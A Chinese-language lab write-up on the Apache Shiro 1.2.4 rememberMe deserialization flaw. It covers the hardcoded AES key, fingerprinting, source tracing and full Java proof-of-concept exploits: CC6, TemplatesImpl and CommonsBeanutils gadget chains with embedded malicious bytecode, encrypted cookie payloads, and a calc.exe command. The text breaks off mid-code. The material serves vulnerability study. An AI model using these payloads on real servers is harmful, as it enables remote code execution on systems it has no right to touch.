漏洞成因
为了让浏览器或服务器重启后用户不丢失状态,Shiro支持将持久化信息序列化并加密后保存在Cookie的remeberMe字段中,下次读取时再进行反序列化。但是在Shiro 1.2.4版本之前内置了一个默认且固定的加密Key,导致攻击者可以伪造任意的remeberMe Cookie,进而触发反序列化漏洞。
指纹识别
第一种:返回包中包含rememberMe=deleteMe字段
第二种:直接发送原数据包,返回的数据中不存在关键字可以通过在发送数据包的cookie中增加字段rememberMe=然后查看返回数据包中是否存在关键字
环境搭建
- jdk 8u65
- Tomcat:9.0.73
- commons-beautils:1.8.3
- commons-collections:3.2.1
- commons-logging:1.2
- shiro-web:1.2.4
- shiro-core:1.2.4
- slf4j-api:1.7.30
- slf4j-simple:1.7.30
其中:
- shiro-core、shiro-web是shiro本身的依赖
- slf4j-api、slf4j-simple是为了显示shiro中的报错信息添加的依赖
- commons-logging是shiro中用到的一个接口,不添加会报错
- Tomcat中会用到jsp-api、javax.servlet-api依赖,仅在编译时使用
Tomcat自行下载,pom.xml添加依赖:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| <dependencies> <dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.8.3</version> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> <dependency> <groupId>commons-logging</groupId> <artifactId>commons-logging</artifactId> <version>1.2</version> </dependency> <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-web</artifactId> <version>1.2.4</version> </dependency> <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-core</artifactId> <version>1.2.4</version> </dependency> <dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-api</artifactId> <version>1.7.30</version> </dependency> <dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-simple</artifactId> <version>1.7.30</version> </dependency> <dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> <version>3.1.0</version> <scope>provided</scope> </dependency> </dependencies>
|
利用条件
Shiro认证流程分析
在Shiro550中,我们知道漏洞产生主要是由于内置了一个默认且固定的加密key,使我们可以伪造任意的remeberMe Cookie造成反序列化,那么我们在发送cookie时经历了什么呢?
生成Cookie
首先在org.apache.shiro.web.mgt.CookieRememberMeManager定义了一个常量来表示默认的Cookie名:

也就是remeberMe,接着看CookieRememberMeManager构造方法:

SimpleCookie类主要记录了Cookie的一些基本属性:


传入remeberMe将name设为remeberMe,CookieRememberMeManager构造方法得到了一个Cookie类型的cookie对象
org.apache.shiro.web.mgt.CookieRememberMeManager主要定义了Cookie常量名并得到了cookie对象,我们向上探索在org.apache.shiro.mgt.RememberMeManager中找到了一些操作的方法:

其中onSuccessfulLogin似乎是登录成功后执行的操作,同时在这个接口实现类org.apache.shiro.mgt.AbstractRememberMeManager还发现了造成该反序列化漏洞的默认key:

并且该类重写了onSuccessfulLogin方法,跟进一下:

首先调用forgetIdentity方法清楚之前remeberMe的身份,随后看用户是否勾选了remeberMe,调用rememberIdentity方法:

调用了rememberIdentity的一个重载方法:

调用了convertPrincipalsToBytes方法,且bytes类型为数组类型类型对象,猜测该部分是设置Cookie的值,继续跟进:



调用了serialize对PrincipalCollection进行了序列化,将其转化为了字节数组
然后对字节数组进行加密,这里我们跟进看下加密逻辑:


先获取CipherService对象,在encrypt方法中,cipherService默认为AesCipherService对象。随后调用cipherService.encrypt方法

注意传入cipherService.encrypt方法中获取的key即是我们的默认key,最后会调用到org.apache.shiro.crypto.JcaCipherService类的encrypt方法进行了一次AES加密,这里就不跟了
我们再回到rememberIdentity抽象方法那,分析了如何转换成字节对象并加密后,接着还调用了rememberSerializedIdentity(subject, bytes);方法:

即会将我们的字节数组进行Base64编码保存在Cookie中
到这里Cookie生成的大致逻辑就差不多清晰了
验证Cookie
在我们第一次进行Shiro Web登录后,Shiro会将当前Subject信息保存在Cookie中。当我们发送一个Cookie时,那么Shiro必定对我们的Cookie进行验证,即执行与生成cookie相反的操作。也就是Shiro会对Cookie进行解码同时反序列化获取Subject的信息。既然这样,我们是否可以通过发送一个恶意的Cookie来造成反序列化漏洞呢?
一样的,先分析下Shiro验证Cookie的逻辑。
跳到org.apache.shiro.web.mgt.CookieRememberMeManager类的getRememberedSerializedIdentity方法:

这里会将我们的Cookie进行base64解码,随后按理说就是进行AES解密了,全局搜索getRememberedSerializedIdentity看哪里调用了该方法:

找到org.apache.shiro.mgt.AbstractRememberMeManager类中的getRememberedPrincipals调用了该方法:

其中这里的bytes就是经过base64解密后的Cookie值,随后会调用convertBytesToPrincipals方法:

这里就会对我们的Bytes进行解密并反序列化
漏洞利用
初步尝试
通过分析Shiro的认证流程,我们是可以通过伪造一个恶意的序列化对象来造成反序列化漏洞了
我们可利用Shiro Web中的commons-collections依赖来构造payload来攻击Shiro Web应用,这里我利用的是CC6链
先构造恶意序列化对象:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};
ConstantTransformer Runtime = new ConstantTransformer(Runtime.class); InvokerTransformer getRuntime=new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",new Class[0]}); InvokerTransformer invoke=new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}); InvokerTransformer exec=new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}); ConstantTransformer l = new ConstantTransformer(1); Transformer[] transformers=new Transformer[]{Runtime,getRuntime,invoke,exec,l}; ChainedTransformer chain=new ChainedTransformer(faketransformers);
Map innermap=new HashMap(); Map Lazymap=LazyMap.decorate(innermap, chain); TiedMapEntry tiedMapEntry=new TiedMapEntry(Lazymap,"111"); Map map=new HashMap(); map.put(tiedMapEntry,"b1uel0n3"); innermap.remove("111");
Field field=chain.getClass().getDeclaredField("iTransformers"); field.setAccessible(true); field.set(chain,transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(map); oos.close();
|
进行AES加密:
1 2 3
| AesCipherService aes=new AesCipherService(); byte[] key=java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA=="); ByteSource cipher=aes.encrypt(barr.toByteArray(), key);
|
完整poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| package shiro;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import org.apache.shiro.crypto.AesCipherService; import org.apache.shiro.util.ByteSource;
import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class CC6 { public static void main(String[] args) throws Exception { Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};
ConstantTransformer Runtime = new ConstantTransformer(Runtime.class); InvokerTransformer getRuntime=new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",new Class[0]}); InvokerTransformer invoke=new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}); InvokerTransformer exec=new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}); ConstantTransformer l = new ConstantTransformer(1); Transformer[] transformers=new Transformer[]{Runtime,getRuntime,invoke,exec,l}; ChainedTransformer chain=new ChainedTransformer(faketransformers);
Map innermap=new HashMap(); Map Lazymap= LazyMap.decorate(innermap, chain); TiedMapEntry tiedMapEntry=new TiedMapEntry(Lazymap,"111"); Map map=new HashMap(); map.put(tiedMapEntry,"b1uel0n3"); innermap.remove("111");
Field field=chain.getClass().getDeclaredField("iTransformers"); field.setAccessible(true); field.set(chain,transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(map); oos.close();
AesCipherService aes=new AesCipherService(); byte[] key=java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA=="); ByteSource cipher=aes.encrypt(barr.toByteArray(), key); System.out.printf(cipher.toString()); } }
|
1
| tQyIfWf//mjgRVpbl1oORJdn0LjKmoHcVVSszWFSiOQJIqDUeb4QDy+4rijqZan7PuqpniXI0WAqsXZyAAGDZc7naStdCXunPZuNyHTgx/1yLFW/D0t96B/M/OVDOCkp5Hsye4OCFdnOmVxeWOwkQE/rVHP7l8QHzgZ5qFqCJ6gWGKNATXzBE1K6GdrSW8F3zgh89aHqvjL4bw8eek5bSK9dJY1End1Ymlz/fLO9FmGGVZJHgpj2s35qWtH6CFyzXO9g8IQhlAgvE6Bb286rPhL886HoJTtW2pGp01vRsHOr1qwzA5McfNHCcbPzQsRFZ0QZ8sfvH0GQpTH7GpFCI4rQOFzZ7DMzgwZIR+SKBKf+/d5oBi5r5K1WfQNVcYdVv1ywKPcVpQhSL1pHMQRP+ILJ0lbehqx5F2R0YJuLne979aAH6RXF64vBuWpX1IQQLgqQ545ndLTO/rh4jP6FfmYyZ4hV0yHyqMJMZ0SuB4xIsajJOaEPGBgaTctLc58u4OF1L0qIqxqkuL3aJhKkmvPu/xrjADZ6Rf3TLu4YZEuNKRn03+qTi/LFbelD4LX9abJ7j6K3wDlEzFqXhZtIZlX7Dq7/0EKRyG7lfTji2QmTqxWulYnQRP6COq0dExQb0oxB4njcp2rE/rASWMjt9uF8qdcx/Al0q30qOhCpWzv+vn5xrZZb7N0GrgT8y0LZxVFDcvN/gvJITZQ1IZOMMewo+uF2ECWblDDtiRF6FpCizpv0Q0rfr9PDQw0dCPWIK3hhZHO7nYHIaxs0yE2tqgWWOL81clj8a5z/gdPF9cAIpcp3ASEw++sXACSPzXwBZCzOqLvknqZquVItIwhgnEOWAtBNWQktWBCZlPEifpyQdLmCKFE8y0iKd0njsFG2za6j8LrlsBwmgqIzkXwjiF5Y5+q1mqzv1no8/Tsc2284lL6I918C/bedTj3wP2dbgrd3XfdIcpk37MhiW6LSeUOXrXEq7j2QkVneatL+dtsRKw+ZLoZvagLeohzoKeY0L3SkqFjtEdkvgVgbmKQQ84TlMpNUjUHhmMo4EGyAc6vTF7Y6ogZi1FCN+SunUCvl4B4FaSQWp9Vb1ZRwDSTNxpqbTtHRnQ5aoAESY5uTWiBvWSayPzeLApobhnGn4Jf5NNsbjB7/MoBGugD/4mS3pr3kW5qWbOMQpePk30pFERrmcOC0GNMfY/W1C8qEVJCP1BZJRV3f2i6Z3fYbtCxui5w9QiqECnv0HWTcle6ywv9a0hScMBLtLnD+wi/FBsVo5skVZB9xczmnNaBtQmPI8jnBqN1ObTA8zvCSJPM4hpQiTo1eQSqZJUGM2Nbargtz8os4OlyDGjCx6mCEclbDoPKQz3jabaR/Zk2PLAEBo7SGd5DCk/hze/Bjil2vfICMcEMeQpaJKoL+C2G8aDbmVA1S5wY+tVCMWMsTMgziayFltLXfzMxDNOZsEFJoollwJ2t31z4quvakG7W/OfTHWwdU2/PGztuEUDsCzCH3b3lyAeRBqBRR55+WayAmyU25EBRNuzleznJTM1znmHawR+oJtb/g1vFrvHPH8jxHDyxWLRw1xSfHbnNQiRbllxQK5Us0igulF8BQkH2sJZgAIVqRdxxTh4hTx0ZMEJZkpjOuUOO4+kF/jNP0bs8tK51kfOep5JBK/ioep/7L24TQoA==
|
把输出的内容当作remeberMe的值发送,结果报错了:



三个问题:
- 无法反序列化字节数组参数
- 无法加载
ObjectStreamClass [[Lorg.apache.commons.collections.Transformer;: static final long serialVersionUID = -4803604734341277543L;]
- 无法从线程上下文、当前或系统应用程序类加载器加载名为
[[Lorg.apache.commons.collections.Transformer;] 的类。所有启发式都已用尽,找不到类。
从源码入手,定位到org.apache.shiro.io.DefaultSerializer类:

在这就会抛出一个异常说无法反序列化字节数组参数
这里实例化了一个ClassResolvingObjectInputStream类,该类继承了ObjectInputStream类。
该类重写了resolveClass方法,该方法主要用于根据序列化数据中的类描述信息解析并加载对应Java类

如果加载失败会抛出ClassNotFoundException异常即第二个报错对应的情况
而在ClassUtils.forName方法中,clazz为null,会抛出UnknownClassException异常,即第三个报错的内容

在ClassResolvingObjectInputStream类的resolveClass方法中,利用了ClassUtils.forName方法来获取Class对象
其中fqcn为[Lorg.apache.commons.collections.Transformer,这里的[L是JVM的标记,表示是一个数组,即Transformer[],随后通过loadClass方法来获取Class对象,而非Class.forName方法
编写POC
既然不能使用Transformer[]数组,那么这里我就想着是否能用CC2的部分思路来加载恶意字节码,因为CC2是没有用Transformer[]数组的,如果版本允许可以直接用CC2
因为我们需要调用的是TemplatesImpl.newTransformer方法

在CC2中,是通过给tansformer传值为InvokerTransformer同时obj1传入TemplatesImpl对象实现加载字节码的

而在LazyMap.get方法中,虽然前面poc不一样,但后面思路一样的,我们同样可以利用InvokerTransformer.transform(TemplatesImpl)来执行TemplatesImpl.newTransformer方法,即:
1 2 3 4 5 6 7
| Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, invokerTransformer);
Map map = new HashMap(); TiedMapEntry e = new TiedMapEntry(outerMap, Impl); map.put(e, "b1uel0n3"); outerMap.clear();
|
完整POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import org.apache.shiro.crypto.AesCipherService; import org.apache.shiro.util.ByteSource;
import java.io.*; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Map;
public class test { public static void main(String[] args) throws Exception { byte[] bytes= Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGV2aWw7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAAcACAcAJwwAKAApAQAIY2FsYy5leGUMACoAKwEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAAQAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAATAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=");
TemplatesImpl Impl = new TemplatesImpl(); setValue(Impl,"_name","b1uel0n3"); setValue(Impl,"_class",null); setValue(Impl,"_bytecodes",new byte[][]{bytes}); setValue(Impl,"_tfactory",new TransformerFactoryImpl());
InvokerTransformer invokerTransformer=new InvokerTransformer("toString",new Class[0],new Object[0]);
Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, invokerTransformer);
Map map = new HashMap(); TiedMapEntry e = new TiedMapEntry(outerMap, Impl); map.put(e, "b1uel0n3"); outerMap.clear();
setValue(invokerTransformer,"iMethodName","newTransformer");
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(map); oos.close(); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
AesCipherService aes = new AesCipherService(); byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA=="); ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key); System.out.printf(ciphertext.toString()); } public static void setValue(Object obj, String filedname, Object value) throws Exception { Field field=obj.getClass().getDeclaredField(filedname); field.setAccessible(true); field.set(obj,value); } }
|
1
| rwsHEebZoL7IAzmRvehWqH86Yvab+tPzcmpOlzOk/AGjbYZgTYX6QlUOOU8GvX5Ycwb3GHiBpBbmEyBNqXHmtXlY3x048z2A03t80LVEYZXiuqEInZsH55Sr5+DhacRnl+H8icvUedtxblk3UtPtuBaEPQoKGKerznAxL4dp516zBypUBjg1jfdbJjQ49yGcKgiV7PyEaSEyB1H+nrA3XnpKbeiOOK9ljTJG9i396J1xrXypPCavzWWb48ud/fTMb/yUu34blzvtnZavPjqs4r3byWWcP+9bNdFosDY58ezZylJH8oenEtQ12Rmt/DAiaXASVcf/g+0nb4jLaJRV6gk1hO7dMclRKYjln1eWTn7Ma54aZzYxBUMaAHNTrIgNuIM9UNVr25EJrXWJ++RtIF10WkLWck2qtjxmmO2+9pNS/+b71L9Y+6yfu3Qho2EqaoOxggGd328bct4ORCDG78Jakz0yN9McaaMHogpY1JzMuAQGCxtDRGPKeHLSIxSJTb6iCQysQae+meXiBlw9hESTLHboAsS/AmZbNAaStAJG9PhDtdfsQYDHHRPf1PSwUAotkFyl9IB9yBSMU3sytTCUnqZNDTEEFzN98x+7MD2RuaSQtbHELajP5DVDUeH9qfNlNSYplZWY/rHdwiC8fM6lAh9XnGuEkMKb22qDNfyEdbIbxGDDcjN77uzilt6xo7pcwW9rbzB3E2fQrgW32ebvrIHxJ0YNCd/jtEnFa9ieQau3UrceFnS6XFVLHbiW2U4amAAZGSdyMcizdST+R5ZVJFNvDE+/lIUGUNgn33SyRWcfTSHnMqWWoN9UE1JtglXmEwHNDN9QxaWigrP+CF0UfKcgEZqJkLzahHZGBe/aafnloJGLVTy347BDylpTDO4nKxtN7BaKatrVWEKKi7EyMWeoA149jdQEND6aO8VsYrhwcHpZcvaw+02hijMynSzoklzrlmTXCVBZqmC5EL7RLlrc2QeXJ7WUXRGQzLiJAyhieCoKLwMxgImfRduHGvI5Rx1s/hvGcAESsRQaphm4vOQXmMgdvosnkqnxNDARxDmVrr6zeFKx75MtDce6sIWnd+IQi77IJomiOptm7DymDqtX25A8XnIhPcqPUvCOUODC03yGcQD9TbUsYAIVXBljmKTLdKwhcFsu0E0qnyxIOfjuKVbFMZQf+yxNAOnt4eaaodw8ZwdySghhmCpAsBPviwC86xtFLi3o5TPT+kYOj8uuNUgmU+K476t0HOqt8yGjHYu4vVU4SjE6xFTLETFG58yeCWFC/xAFWUoMrHDQsqXc40O1rVgblFXT0O7FZ8unJMH4u0uqNXmUWj8z65f2qtfD8MXwPtKFHOeeUXxU81G/vuZWkzJLZ7xtHUfA9KBpt1yEVS9pc73yR8ICZmJLneF4PF6EUztCoBh88erxEKhI08N+M0tfUiB4mPb7GiPxYvKnZNH6LeJ8KjOp7xLM3vscBi4wG3czzQlpJbLpJ35NhikVIDxq+BNKqhFeK7XyR0Pg6Lom0Ba20fMEEwUnGXIY5YXOm3FnAtzsH0JJHvY/YN2GqtIr5ByiydasBfDQ4mPVt1ncN8FC1qrusdzQ3xy19zh4FeCkusnP7HAimcTixPa/YTvqO1vSHAFlMzkIgVR+eDVZrYlYXDWvHIDVuNoPplbH434Nfcgc1eBbRlUFy+PZgyp0Ocq9i8f5dpmOVktTcsvuKg8S3oM+teiZ7ZJPYmwmuX2wSbi4JcPVLsH7KG3LCjHibu/Y9jcZxNjkG4LXTEJUofD2oPLGh+kDk1zURXF+8lIBf/ebZtqpHhkS6r9DCpCXBK0Ld7bYhSZDwzqzcWXwYyKqq08fWzxt8RLzPp1CwuAerAp/S/pSAdcv61gaWLo29TjvQj3EYZpIijw6h4vHCGCayzpaELr7UJkkB4CQqxuySUsE9xfq/2+3uSRo19WfhzoAW83d8XY1hu4WsLxsMsQynxw78eDRNDYQTls6lbOo+2l9o+zoKa94wvhFSfvbTLtB0YU9Skk98NqwtLcpu3lX5D6FHRLhQOL8wktGsBHnOquYIeQjCWmaSWOdQyVK1WDQoD7rQuISUgC1b3sgReuXtNRPw0wWu4NXLdX0wNEEEith5VJjdQ+jafRRHd1Y40DWmhRPB/uU07A5XQqdYC93RrIGUOaTLvcgJtTcTA1zEkIOrNqRIJwLU4Rkt7FwMahasYGzfe2NlQU//iHL1wTfzK45GOOYWJy76EEUH65r97gY9LXDzRA3pJRT9elJG9B1VTrXvS1A9miCOv/aZETritiHY4KjxCx9UFDTw14rXyIfFzSFEO0wTMzPh0DZCzHjLWWrEXkGLdpHDAWoxA5LTrFDH13ry3PpFkmrM+xFzbXDXdvuQYNOm6iXCEVI+Mrk0i5rsOWXBq6kc3NfOPZqhbdvW5Rf92KicFHBx8eARum/ribDRGlQ0m+oPkqMT5PAclBtM8OMa0tdGfD8rlM4/vcSdl4dl9bVvVQyWblL7dp6k5cWiCyk0MV6/e1d1uIA4VllW4mATxbr8viB0yioxCUzykXc/F8fQBQ/N8bMsISFjfu4t9O+F9jra1Q6JfRrf07Pmw2m+yIwm+FWCAYKwsrAPD2BJfDYWUFa42lkCPA3aZRjBZmAhZKZfaTwJOnrg5nkJIXoGY0dtB2F3aBQBrjbLi0V1+PPT2KgigvBsDnf/RrUjDKtdk34R/me2ZhBeG0a7dcXUwKyGco6B3CnvgUXEJp/AO+fZwqYS+FJ5lzchu3bl9yUpg9OxsQJXvYp5Nxt25ws1FT52ecVdr/NvpLawBe1c0D7xoXniNoSk1cae9hlqTZzWE6cxxG0FtuLz0Q5qCt14MomJz53qfVz7iwiN6uHRVZC0YYVUXJZTq/SX5vpdSaU3n524UcZQ/MReOb52dRi5a/aUv1PP7vedjDqaR0MLa56mqN75txBtXrbZFW7BoihLehcKddTqve+BsE=
|

成功弹计算机
CB攻击
在我们引入shiro依赖时其实会自动引入commons-beautils包。并且如果我们剔除commons-collections依赖shiro web依然能够正常运行,那么我们是否可以不通过CC依赖直接实现CB攻击呢?
先利用CB链的poc生成payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator; import org.apache.shiro.crypto.AesCipherService; import org.apache.shiro.util.ByteSource;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64;
public class test { public static void main(String[] args) throws Exception { byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGV2aWw7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAAcACAcAJwwAKAApAQAIY2FsYy5leGUMACoAKwEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAAQAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAATAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=");
TemplatesImpl templates = new TemplatesImpl(); setValue(templates,"_name","B1uel0n3"); setValue(templates,"_class",null); setValue(templates,"_bytecodes",new byte[][]{bytes}); setValue(templates,"_tfactory",new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator("outputProperties");
PriorityQueue queue = new PriorityQueue(2,beanComparator); queue.add(1); queue.add(1);
Object[] queueArray=(Object[]) getValue(queue,"queue"); queueArray[0]=templates; queueArray[1]=1;
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close(); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
